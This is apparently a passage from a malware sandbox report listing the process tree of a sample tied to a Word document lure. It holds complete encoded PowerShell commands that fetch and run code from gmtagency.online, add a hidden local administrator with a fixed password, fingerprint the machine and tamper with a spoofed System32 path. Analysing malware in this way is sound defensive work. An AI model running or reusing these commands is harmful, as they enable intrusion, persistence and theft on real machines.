TAGUAbgBkACAAIgBiAGUAZwBpAG4AIABkAG8AdwBuAGwAbwBhAGQAIAAkAHUAcgBpACIAOwANAAoACQAJACQAYwBvAG4AdABlAG4AdAAgAD0AIABJAG4AdgBvAGsAZQAtAFcAZQBiAFIAZQBxAHUAZQBzAHQAIAAtAFUAcgBpACAAJAB1AHIAaQAgAC0AVQBzAGUAQgBhAHMAaQBjAFAAYQByAHMAaQBuAGcAOwANAAoAIAAgACAAIAAgACAAIAAgACQAYgB5AHQAZQBBAHIAcgBhAHkAIAA9ACAAJABjAG8AbgB0AGUAbgB0AC4AYwBvAG4AdABlAG4AdAA7AA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAIAAoACQAaQAgAD0AIAAwAD
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\wbem\WmiPrvSE.exe C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
Source: unknown	Process created: C:\Windows\Temp\svczHost.exe C:\Windows\Temp\svczHost.exe cakoi1 gmtagency.online
Source: C:\Windows\Temp\svczHost.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\Temp\svczHost.exe	Process created: C:\Windows\System32\cmd.exe "cmd.exe" /c del /q "C:\Windows \System32\*" & rmdir "C:\Windows \System32" & rmdir "C:\Windows \"
Source: C:\Windows\Temp\svczHost.exe	Process created: C:\Windows\System32\cmd.exe "cmd.exe" /c sc query myRdpService
Source: C:\Windows\Temp\svczHost.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" -NoLogo -NoProfile -WindowStyle Hidden -ExecutionPolicy bypass -EncodedCommand ZgB1AG4AYwB0AGkAbwBuACAARwBlAHQALQBJAGQAZQBuAHQAaQB0AHkAewAKACAAIAAgACAAJABoAGEAcgBkAEQAcgBpAHYAZQBzACAAPQAgAEcAZQB0AC0AVwBtAGkATwBiAGoAZQBjAHQAIAAtAEMAbABhAHMAcwAgAFcAaQBuADMAMgBfAEQAaQBzAGsARAByAGkAdgBlACAAfAAgAFcAaABlAHIAZQAtAE8AYgBqAGUAYwB0ACAAewAgACQAXwAuAE0AZQBkAGkAYQBUAHkAcABlACAALQBlAHEAIAAiAEYAaQB4AGUAZAAgAGgAYQByAGQAIABkAGkAcwBrACAAbQBlAGQAaQBhACIAIAAtAG8AcgAgACQAXwAuAE0AZQBkAGkAYQBUAHkAcABlACAALQBlAHEAIAAiAEYAaQB4AGUAZAAgAGgAYQByAGQAIABkAGkAcwBrACAAbQBlAGQAaQBhACAALQAgAFMAUwBEACIAIAB9AAoAJABkAHIAaQB2AGUASQBuAGYAbwBBAHIAcgBhAHkAIAA9ACAAQAAoACkACgBmAG8AcgBlAGEAYwBoACAAKAAkAGgAYQByAGQARAByAGkAdgBlACAAaQBuACAAJABoAGEAcgBkAEQAcgBpAHYAZQBzACkAIAB7AAoAIAAgACAAIAAkAHMAZQByAGkAYQBsAE4AdQBtAGIAZQByACAAPQAgACQAaABhAHIAZABEAHIAaQB2AGUALgBTAGUAcgBpAGEAbABOAHUAbQBiAGUAcgAKACAAIAAgACAAJABtAG8AZABlAGwAIAA9ACAAJABoAGEAcgBkAEQAcgBpAHYAZQAuAE0AbwBkAGUAbAAKACAAIAAgACAAJABkAHIAaQB2AGUASQBuAGYAbwAgAD0AIAAiAFMAZQByAGkAYQBsACAATgB1AG0AYgBlAHIAOgAgACQAcwBlAHIAaQBhAGwATgB1AG0AYgBlAHIALAAgAE0AbwBkAGUAbAA6ACAAJABtAG8AZABlAGwAIgAKACAAIAAgACAAJABkAHIAaQB2AGUASQBuAGYAbwBBAHIAcgBhAHkAIAArAD0AIAAkAGQAcgBpAHYAZQBJAG4AZgBvAAoAfQAKACQAYwBvAG0AYgBpAG4AZQBkAEkAbgBmAG8AIAA9ACAAJABkAHIAaQB2AGUASQBuAGYAbwBBAHIAcgBhAHkAIAAtAGoAbwBpAG4AIAAiAGAAcgBgAG4AIgAKACQAYwBwAHUASQBuAGYAbwAgAD0AIABHAGUAdAAtAFcAbQBpAE8AYgBqAGUAYwB0ACAALQBDAGwAYQBzAHMAIABXAGkAbgAzADIAXwBQAHIAbwBjAGUAcwBzAG8AcgAKACQAYwBwAHUARABlAHQAYQBpAGwAcwAgAD0AIAAiAFAAcgBvAGMAZQBzAHMAbwByAEkAZAA6ACAAJAAoACQAYwBwAHUASQBuAGYAbwAuAFAAcgBvAGMAZQBzAHMAbwByAEkAZAApACwAIABOAGEAbQBlADoAIAAkACgAJABjAHAAdQBJAG4AZgBvAC4ATgBhAG0AZQApACwAIABNAGEAeABDAGwAbwBjAGsAUwBwAGUAZQBkADoAIAAkACgAJABjAHAAdQBJAG4AZgBvAC4ATQBhAHgAQwBsAG8AYwBrAFMAcABlAGUAZAApACwAIABVAG4AaQBxAHUAZQBJAGQAOgAgACQAKAAkAGMAcAB1AEkAbgBmAG8ALgBVAG4AaQBxAHUAZQBJAGQAKQAiAAoAJABhAGwAbABJAG4AZgBvACAAPQAgACIAJABjAG8AbQBiAGkAbgBlAGQASQBuAGYAbwBgAHIAYABuACQAYwBwAHUARABlAHQAYQBpAGwAcwAiAAoAJABtAGQANQAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBTAGUAYwB1AHIAaQB0AHkALgBDAHIAeQBwAHQAbwBnAHIAYQBwAGgAeQAuAE0ARAA1AEMAcgB5AHAAdABvAFMAZQByAHYAaQBjAGUAUAByAG8AdgBpAGQAZQByAAoAJABiAHkAdABlAHMAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AEIAeQB0AGUAcwAoACQAYQBsAGwASQBuAGYAbwApAAoAJABoAGEAcwBoAEIAeQB0AGUAcwAgAD0AIAAkAG0AZAA1AC4AQwBvAG0AcAB1AHQAZQBIAGEAcwBoACgAJABiAHkAdABlAHMAKQAKACQAaABhAHMAaAAgAD0AIABbAEIAaQB0AEMAbwBuAHYAZQByAHQAZQByAF0AOgA6AFQAbwBTAHQAcgBpAG4AZwAoACQAaABhAHMAaABCAHkAdABlAHMAKQAgAC0AcgBlAHAAbABhAGMAZQAgACcALQAnAAoAIAAgACAAIAByAGUAdAB1AHIAbgAgACQAaABhAHMAaAA7AAoAfQAKAGMAZAAgACIAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAZQBtAHAAIgA7AAoAJAB0AGUAcwB0ACAAPQAgAEcAZQB0AC0ASQBkAGUAbgB0AGkAdAB5ADsACgAkAHQAZQBzAHQAIAB8ACAATwB1AHQALQBGAGkAbABlACAALQBGAGkAbABlAFAAYQB0AGgAIAAiAGQAZQB2AGkAYwBlAEkAZAAuAHQAeAB0ACIAIAAtAEUAbgBjAG8AZABpAG4AZwAgAFUAVABGADgA
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe	Process created: C:\Windows\System32\sc.exe sc query myRdpService
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\Temp\svczHost.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" -NoLogo -NoProfile -WindowStyle Hidden -ExecutionPolicy bypass -EncodedCommand JABVAHMAZQByAG4AYQBtAGUAIAA9ACAAIgBVAHMAZQByADEAIgA7ACQAcAB3AGQAIAA9ACAAIgAxADIAMwA0ADUANgA3ADgAOQAhAEEAMQBhACIAOwAgACQAVQBzAGUAcgBQAGEAcgBhAG0AcwAgAD0AIABAAHsAJwBOAGEAbQBlACcAIAA9ACAAJABVAHMAZQByAG4AYQBtAGUAOwAgACcAUABhAHMAcwB3AG8AcgBkACcAIAA9ACAAKABDAG8AbgB2AGUAcgB0AFQAbwAtAFMAZQBjAHUAcgBlAFMAdAByAGkAbgBnACAALQBTAHQAcgBpAG4AZwAgACQAcAB3AGQAIAAtAEEAcwBQAGwAYQBpAG4AVABlAHgAdAAgAC0ARgBvAHIAYwBlACkAOwAgACcAUABhAHMAcwB3AG8AcgBkAE4AZQB2AGUAcgBFAHgAcABpAHIAZQBzACcAIAA9ACAAJAB0AHIAdQBlAH0AOwBOAGUAdwAtAEwAbwBjAGEAbABVAHMAZQByACAAQABVAHMAZQByAFAAYQByAGEAbQBzADsAJABHAHIAbwB1AHAAUABhAHIAYQBtAHMAIAA9ACAAQAB7ACcARwByAG8AdQBwACcAIAA9ACAAJwBBAGQAbQBpAG4AaQBzAHQAcgBhAHQAbwByAHMAJwA7ACAAJwBNAGUAbQBiAGUAcgAnACAAPQAgACQAVQBzAGUAcgBuAGEAbQBlAH0AOwBBAGQAZAAtAEwAbwBjAGEAbABHAHIAbwB1AHAATQBlAG0AYgBlAHIAIABAAEcAcgBvAHUAcABQAGEAcgBhAG0AcwA7AA0ACgA=
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powerSHEll -nOlogo -NOP -ep ByPass -ENCODedcOMMAnd "UwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAHAAbwB3AGUAcgBzAGgAZQBsAGwAIAAtAFcAaQBuAGQAbwB3AFMAdAB5AGwAZQAgAGgAaQBkAGQAZQBuACAALQBBAHIAZwB1AG0AZQBuAHQATABpAHMAdAAgACIALQBXAGkAbgBkAG8AdwBTAHQAeQBsAGUAIABIAGkAZABkAGUAbgAiACwAIAAiAC0ATgBvAEwAbwBnAG8AIgAsACAAIgAtAE4AbwBQAHIAbwBmAGkAbABlACIALAAgACIALQBFAHgAZQBjAHUAdABpAG8AbgBQAG8AbABpAGMAeQAgAEIAeQBwAGEAcwBzACIALAAgACIALQBFAG4AYwBvAGQAZQBkAEMAbwBtAG0AYQBuAGQAIABTAFEAQgBGAEEARgBnAEEASQBBAEEAbwBBAEYAcwBBAFYAQQBCAEYAQQBGAGcAQQBkAEEAQQB1AEEARQBVAEEAVABnAEIARABBAEcAOABBAFoAQQBCAEoAQQBFADQAQQBSAHcAQgBkAEEARABvAEEATwBnAEIAVgBBAEYAUQBBAFIAZwBBADQAQQBDADQAQQBSAHcAQgBGAEEASABRAEEAVQB3AEIAVQBBAEYASQBBAFMAUQBCAE8AQQBHAGMAQQBLAEEAQQBvAEEARQBrAEEAZAB3AEIAeQBBAEMAQQBBAEsAQQBCAGIAQQBGAE0AQQBlAFEAQgB6AEEASABRAEEAWgBRAEIAdABBAEMANABBAFYAQQBCAGwAQQBIAGcAQQBkAEEAQQB1AEEARQBVAEEAYgBnAEIAagBBAEcAOABBAFoAQQBCAHAAQQBHADQAQQBaAHcAQgBkAEEARABvAEEATwBnAEIAVgBBAEYAUQBBAFIAZwBBADQAQQBDADQAQQBSAHcAQgBsAEEASABRAEEAVQB3AEIAMABBAEgASQBBAGEAUQBCAHUAQQBHAGMAQQBLAEEAQgBiAEEARQBNAEEAYgB3AEIAdQBBAEgAWQBBAFoAUQBCAHkAQQBIAFEAQQBYAFEAQQA2AEEARABvAEEAUgBnAEIAeQBBAEcAOABBAGIAUQBCAEMAQQBHAEUAQQBjAHcAQgBsAEEARABZAEEATgBBAEIAVABBAEgAUQBBAGMAZwBCAHAAQQBHADQAQQBaAHcAQQBvAEEAQwBJAEEAWQBRAEIASQBBAEYASQBBAE0AQQBCAGoAQQBFAGcAQQBUAFEAQQAyAEEARQB3AEEAZQBRAEEANQBBAEcANABBAFkAZwBCAFkAQQBGAEkAQQBhAEEAQgBhAEEARABJAEEAVgBnAEIAMQBBAEYAawBBAE0AdwBCAHIAQQBIAFUAQQBZAGcAQQB5AEEARABVAEEAYwB3AEIAaABBAEYAYwBBAE4AUQBCAHMAQQBFAHcAQQBlAGcAQgBDAEEARQBVAEEAWQBRAEEAegBBAEcAOABBAE0AdwBCAGkAQQBHAGMAQQBQAFEAQQA5AEEAQwBJAEEASwBRAEEAcABBAEMAawBBAEsAUQBBAHUAQQBFAE0AQQBUAHcAQgBPAEEASABRAEEAWgBRAEIATwBBAEgAUQBBAEsAUQBBAHAAQQBBAD0APQAiAA=="	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -NoLogo -NoProfile -ExecutionPolicy Bypass -EncodedCommand SQBFAFgAIAAoAFsAVABFAFgAdAAuAEUATgBDAG8AZABJAE4ARwBdADoAOgBVAFQARgA4AC4ARwBFAHQAUwBUAFIASQBOAGcAKAAoAEkAdwByACAAKABbAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAFQARgA4AC4ARwBlAHQAUwB0AHIAaQBuAGcAKABbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACIAYQBIAFIAMABjAEgATQA2AEwAeQA5AG4AYgBYAFIAaABaADIAVgB1AFkAMwBrAHUAYgAyADUAcwBhAFcANQBsAEwAegBCAEUAYQAzAG8AMwBiAGcAPQA9ACIAKQApACkAKQAuAEMATwBOAHQAZQBOAHQAKQApAA==	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\lsozgnau\lsozgnau.cmdline"	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\system32\cmd.exe" /c start /min "" powershell.exe -WindowStyle hidden -NoLogo -NoProfile -ExecutionPolicy bypass -EncodedCommand JAB1AHIAaQAgAD0AIAAiAGgAdAB0AHAAcwA6AC8ALwBnAG0AdABhAGcAZQBuAGMAeQAuAG8AbgBsAGkAbgBlAC8AZgBpAGwAZQAyAC8AOAA0AGUAMAAwADkAYwA1AGUAMgA5ADgAOAAyADMAMgAzADUAOAAwAGIANwBjADcAMAAwAGQANgBkADcAZgBiAGYAMgAwADcAZABmADMANgA4AGQAZgAwADIAMwBhADYAMAA3ADcAMQAwAGMAYQA3AGYANABjADEANgA4ADUANgBjAGYAZgA5ADcAYgA3ADgANgA1ADQAYQA4ADgAMwA5ADkAOQAxADgAMgBhADAANQA0ADAANAA3ADgAOQAwAGMAOAA2ADMAYgBhADMAOABjAGQAMQA0ADIAZABjADEAMQBjAGMAZQA4AGYANwA2ADEAMAA2ADMANwA5AGEAZAAyAGUAMQA1ADYAMAAxAGYAMAA0AGIAZQA0AGYANgA0ADAAOAA0ADgAMwBjADUAMQA1AGEAZgBkAGQAZgA0ADAAZgAxAGEANgAwAGEAOAA3ADEAOAA1AGEAZgA5ADUAYwAzAGQANgBlADEANABiADEAYgA4ADUAZgAxAGQAMwA2AGUAZAA2ADkAYQBiAGIANwAzADUAYQA2ADcAMwA1ADEAZQAyADEAMgA4AGYAZgBiADcAMwBkADQANAA5AGMAMwBiACIAOwANAAoAJABjAG8AdQBuAHQAIAA9ACAAMQAwADAAOwANAAoADQAKAA0ACgANAAoAZgB1AG4AYwB0AGkAbwBuACAAUwBlAG4AZAAgAHsADQAKACAAIAAgACAAcABhAHIAYQBtACgAIABbAFAAUwBPAGIAagBlAGMAdABdACAAJABsAG8AZwBNAHMAZwAgACkADQAKAA0ACgAgACAAIAAgACMAIABDAG8AbgB2AGUAcgB0ACAAYgBvAGQAeQAgAHQAbwAgAHMAdAByAGkAbgBnAA0ACgAgACAAIAAgACQAcwB0AHIAaQBuAGcAQgBvAGQAeQAgAD0AIABbAHMAdAByAGkAbgBnAF0AKAAkAGwAbwBnAE0AcwBnACAAfAAgAEMAbwBuAHYAZQByAHQAVABvAC0ASgBzAG8AbgApADsADQAKACAAIAAgACAAJABsAG8AZwBNAGUAcwBzAGEAZwBlAHMAIAA9ACAAQAAoACkAOwANAAoAIAAgACAAIAAkAGwAbwBnAE0AZQBzAHMAYQBnAGUAcwAgACsAPQAgACQAcwB0AHIAaQBuAGcAQgBvAGQAeQA7AA0ACgAgACAAIAAgACQAbABvAGcATQBlAHMAcwBhAGcAZQBzACAAKwA9ACAAIgAtAC0ALQAtAC0ALQAtAC0ALQAtACIAOwANAAoADQAKACAAIAAgACAAJABoAGUAYQBkAGUAcgBzACAAPQAgAEAAewB9ADsADQAKACAAIAAgACAAJABrAGUAeQAgAD0AIAAiAEMAbwBuAHQAZQBuAHQALQBUAHkAcABlACIAOwANAAoAIAAgACAAIAAkAHYAYQBsAHUAZQAgAD0AIAAiAGEAcABwAGwAaQBjAGEAdABpAG8AbgAvAGoAcwBvAG4AIgA7AA0ACgANAAoAIAAgACAAIAAkAGgAZQBhAGQAZQByAHMAWwAkAGsAZQB5AF0AIAA9ACAAJAB2AGEAbAB1AGUAOwANAAoAIAAgACAAIAAkAHUAcgBpACAAPQAgACIATABPAEcAVQBSAEwAIgA7AA0ACgAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAewANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABiAG8AZAB5ACAAPQAgACQAbABvAGcATQBlAHMAcwBhAGcAZQBzACAAfAAgAEMAbwBuAHYAZQByAHQAVABvAC0ASgBzAG8AbgA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIABJAG4AdgBvAGsAZQAtAFcAZQBiAFIAZQBxAHUAZQBzAHQAIAAtAFUAcgBpACAAJAB1AHIAaQAgAC0ATQBlAHQAaABvAGQAIABQAG8AcwB0ACAALQBIAGUAYQBkAGUAcgBzACAAJABoAGUAYQBkAGUAcgBzACAALQBCAG8AZAB5ACAAJABiAG8AZAB5AA0ACgAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAGMAYQB0AGMAaAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKACAAIAAgACAADQAKAH0ADQAKAA0ACgB3AGgAaQBsAGUAKAAkAGMAbwB1AG4AdAAgAC0AZwB0ACAAMAApAA0ACgB7AA0ACgAJAA0ACgAJAHQAcgB5AHsADQAKACAAIAAgACAAIAAgACAAIABTAGUAbgBkACAAIgBiAGUAZwBpAG4AIABkAG8AdwBuAGwAbwBhAGQAIAAkAHUAcgBpACIAOwANAAoACQAJACQAYwBvAG4AdABlAG4AdAAgAD0AIABJAG4AdgBvAGsAZQAtAFcAZQBiAFIAZQBxAHUAZQBzAHQAIAAtAFUAcgBpACAAJAB1AHIAaQAgAC0AVQBzAGUAQgBhAHMAaQBjAFAAYQByAHMAaQBuAGcAOwANAAoAIAAgACAAIAAgACAAIAAgACQAYgB5AHQAZQBBAHIAcgBhAHkAIAA9ACAAJABjAG8AbgB0AGUAbgB0AC4AYwBvAG4AdABlAG4AdAA7AA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAIAAoAC	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES4DCB.tmp" "c:\Users\user\AppData\Local\Temp\lsozgnau\CSCDC8C4E3F93914FB7BA165C9B4C26D24F.TMP"	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE "C:\Program Files (x86)\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\user\AppData\Local\Temp\Online Interview Scheduling Form.docx" /o ""	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -WindowStyle hidden -NoLogo -NoProfile -ExecutionPolicy bypass -EncodedCommand JAB1AHIAaQAgAD0AIAAiAGgAdAB0AHAAcwA6AC8ALwBnAG0AdABhAGcAZQBuAGMAeQAuAG8AbgBsAGkAbgBlAC8AZgBpAGwAZQAyAC8AOAA0AGUAMAAwADkAYwA1AGUAMgA5ADgAOAAyADMAMgAzADUAOAAwAGIANwBjADcAMAAwAGQANgBkADcAZgBiAGYAMgAwADcAZABmADMANgA4AGQAZgAwADIAMwBhADYAMAA3ADcAMQAwAGMAYQA3AGYANABjADEANgA4ADUANgBjAGYAZgA5ADcAYgA3ADgANgA1ADQAYQA4ADgAMwA5ADkAOQAxADgAMgBhADAANQA0ADAANAA3ADgAOQAwAGMAOAA2ADMAYgBhADMAOABjAGQAMQA0ADIAZABjADEAMQBjAGMAZQA4AGYANwA2ADEAMAA2ADMANwA5AGEAZAAyAGUAMQA1ADYAMAAxAGYAMAA0AGIAZQA0AGYANgA0ADAAOAA0ADgAMwBjADUAMQA1AGEAZgBkAGQAZgA0ADAAZgAxAGEANgAwAGEAOAA3ADEAOAA1AGEAZgA5ADUAYwAzAGQANgBlADEANABiADEAYgA4ADUAZgAxAGQAMwA2AGUAZAA2ADkAYQBiAGIANwAzADUAYQA2ADcAMwA1ADEAZQAyADEAMgA4AGYAZgBiADcAMwBkADQANAA5AGMAMwBiACIAOwANAAoAJABjAG8AdQBuAHQAIAA9ACAAMQAwADAAOwANAAoADQAKAA0ACgANAAoAZgB1AG4AYwB0AGkAbwBuACAAUwBlAG4AZAAgAHsADQAKACAAIAAgACAAcABhAHIAYQBtACgAIABbAFAAUwBPAGIAagBlAGMAdABdACAAJABsAG8AZwBNAHMAZwAgACkADQAKAA0ACgAgACAAIAAgACMAIABDAG8AbgB2AGUAcgB0ACAAYgBvAGQAeQAgAHQAbwAgAHMAdAByAGkAbgBnAA0ACgAgACAAIAAgACQAcwB0AHIAaQBuAGcAQgBvAGQAeQAgAD0AIABbAHMAdAByAGkAbgBnAF0AKAAkAGwAbwBnAE0AcwBnACAAfAAgAEMAbwBuAHYAZQByAHQAVABvAC0ASgBzAG8AbgApADsADQAKACAAIAAgACAAJABsAG8AZwBNAGUAcwBzAGEAZwBlAHMAIAA9ACAAQAAoACkAOwANAAoAIAAgACAAIAAkAGwAbwBnAE0AZQBzAHMAYQBnAGUAcwAgACsAPQAgACQAcwB0AHIAaQBuAGcAQgBvAGQAeQA7AA0ACgAgACAAIAAgACQAbABvAGcATQBlAHMAcwBhAGcAZQBzACAAKwA9ACAAIgAtAC0ALQAtAC0ALQAtAC0ALQAtACIAOwANAAoADQAKACAAIAAgACAAJABoAGUAYQBkAGUAcgBzACAAPQAgAEAAewB9ADsADQAKACAAIAAgACAAJABrAGUAeQAgAD0AIAAiAEMAbwBuAHQAZQBuAHQALQBUAHkAcABlACIAOwANAAoAIAAgACAAIAAkAHYAYQBsAHUAZQAgAD0AIAAiAGEAcABwAGwAaQBjAGEAdABpAG8AbgAvAGoAcwBvAG4AIgA7AA0ACgANAAoAIAAgACAAIAAkAGgAZQBhAGQAZQByAHMAWwAkAGsAZQB5AF0AIAA9ACAAJAB2AGEAbAB1AGUAOwANAAoAIAAgACAAIAAkAHUAcgBpACAAPQAgACIATABPAEcAVQBSAEwAIgA7AA0ACgAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAewANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABiAG8AZAB5ACAAPQAgACQAbABvAGcATQBlAHMAcwBhAGcAZQBzACAAfAAgAEMAbwBuAHYAZQByAHQAVABvAC0ASgBzAG8AbgA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIABJAG4AdgBvAGsAZQAtAFcAZQBiAFIAZQBxAHUAZQBzAHQAIAAtAFUAcgBpACAAJAB1AHIAaQAgAC0ATQBlAHQAaABvAGQAIABQAG8AcwB0ACAALQBIAGUAYQBkAGUAcgBzACAAJABoAGUAYQBkAGUAcgBzACAALQBCAG8AZAB5ACAAJABiAG8AZAB5AA0ACgAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAGMAYQB0AGMAaAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKACAAIAAgACAADQAKAH0ADQAKAA0ACgB3AGgAaQBsAGUAKAAkAGMAbwB1AG4AdAAgAC0AZwB0ACAAMAApAA0ACgB7AA0ACgAJAA0ACgAJAHQAcgB5AHsADQAKACAAIAAgACAAIAAgACAAIABTAGUAbgBkACAAIgBiAGUAZwBpAG4AIABkAG8AdwBuAGwAbwBhAGQAIAAkAHUAcgBpACIAOwANAAoACQAJACQAYwBvAG4AdABlAG4AdAAgAD0AIABJAG4AdgBvAGsAZQAtAFcAZQBiAFIAZQBxAHUAZQBzAHQAIAAtAFUAcgBpACAAJAB1AHIAaQAgAC0AVQBzAGUAQgBhAHMAaQBjAFAAYQByAHMAaQBuAGcAOwANAAoAIAAgACAAIAAgACAAIAAgACQAYgB5AHQAZQBBAHIAcgBhAHkAIAA9ACAAJABjAG8AbgB0AGUAbgB0AC4AYwBvAG4AdABlAG4AdAA7AA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAIAAoACQAaQAgAD0AIAAwAD
Source: C:\Windows\Temp\svczHost.exe	Process created: C:\Windows\System32\cmd.exe "cmd.exe" /c del /q "C:\Windows \System32\*" & rmdir "C:\Windows \System32" & rmdir "C:\Windows \"
Source: C:\Windows\Temp\svczHost.exe	Process created: C:\Windows\System32\cmd.exe "cmd.exe" /c sc query myRdpService
Source: C:\Windows\Temp\svczHost.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" -NoLogo -NoProfile -WindowStyle Hidden -ExecutionPolicy bypass -EncodedCommand ZgB1AG4AYwB0AGkAbwBuACAARwBlAHQALQBJAGQAZQBuAHQAaQB0AHkAewAKACAAIAAgACAAJABoAGEAcgBkAEQAcgBpAHYAZQBzACAAPQAgAEcAZQB0AC0AVwBtAGkATwBiAGoAZQBjAHQAIAAtAEMAbABhAHMAcwAgAFcAaQBuADMAMgBfAEQAaQBzAGsARAByAGkAdgBlACAAfAAgAFcAaABlAHIAZQAtAE8AYgBqAGUAYwB0ACAAewAgACQAXwAuAE0AZQBkAGkAYQBUAHkAcABlACAALQBlAHEAIAAiAEYAaQB4AGUAZAAgAGgAYQByAGQAIABkAGkAcwBrACAAbQBlAGQAaQBhACIAIAAtAG8AcgAgACQAXwAuAE0AZQBkAGkAYQBUAHkAcABlACAALQBlAHEAIAAiAEYAaQB4AGUAZAAgAGgAYQByAGQAIABkAGkAcwBrACAAbQBlAGQAaQBhACAALQAgAFMAUwBEACIAIAB9AAoAJABkAHIAaQB2AGUASQBuAGYAbwBBAHIAcgBhAHkAIAA9ACAAQAAoACkACgBmAG8AcgBlAGEAYwBoACAAKAAkAGgAYQByAGQARAByAGkAdgBlACAAaQBuACAAJABoAGEAcgBkAEQAcgBpAHYAZQBzACkAIAB7AAoAIAAgACAAIAAkAHMAZQByAGkAYQBsAE4AdQBtAGIAZQByACAAPQAgACQAaABhAHIAZABEAHIAaQB2AGUALgBTAGUAcgBpAGEAbABOAHUAbQBiAGUAcgAKACAAIAAgACAAJABtAG8AZABlAGwAIAA9ACAAJABoAGEAcgBkAEQAcgBpAHYAZQAuAE0AbwBkAGUAbAAKACAAIAAgACAAJABkAHIAaQB2AGUASQBuAGYAbwAgAD0AIAAiAFMAZQByAGkAYQBsACAATgB1AG0AYgBlAHIAOgAgACQAcwBlAHIAaQBhAGwATgB1AG0AYgBlAHIALAAgAE0AbwBkAGUAbAA6ACAAJABtAG8AZABlAGwAIgAKACAAIAAgACAAJABkAHIAaQB2AGUASQBuAGYAbwBBAHIAcgBhAHkAIAArAD0AIAAkAGQAcgBpAHYAZQBJAG4AZgBvAAoAfQAKACQAYwBvAG0AYgBpAG4AZQBkAEkAbgBmAG8AIAA9ACAAJABkAHIAaQB2AGUASQBuAGYAbwBBAHIAcgBhAHkAIAAtAGoAbwBpAG4AIAAiAGAAcgBgAG4AIgAKACQAYwBwAHUASQBuAGYAbwAgAD0AIABHAGUAdAAtAFcAbQBpAE8AYgBqAGUAYwB0ACAALQBDAGwAYQBzAHMAIABXAGkAbgAzADIAXwBQAHIAbwBjAGUAcwBzAG8AcgAKACQAYwBwAHUARABlAHQAYQBpAGwAcwAgAD0AIAAiA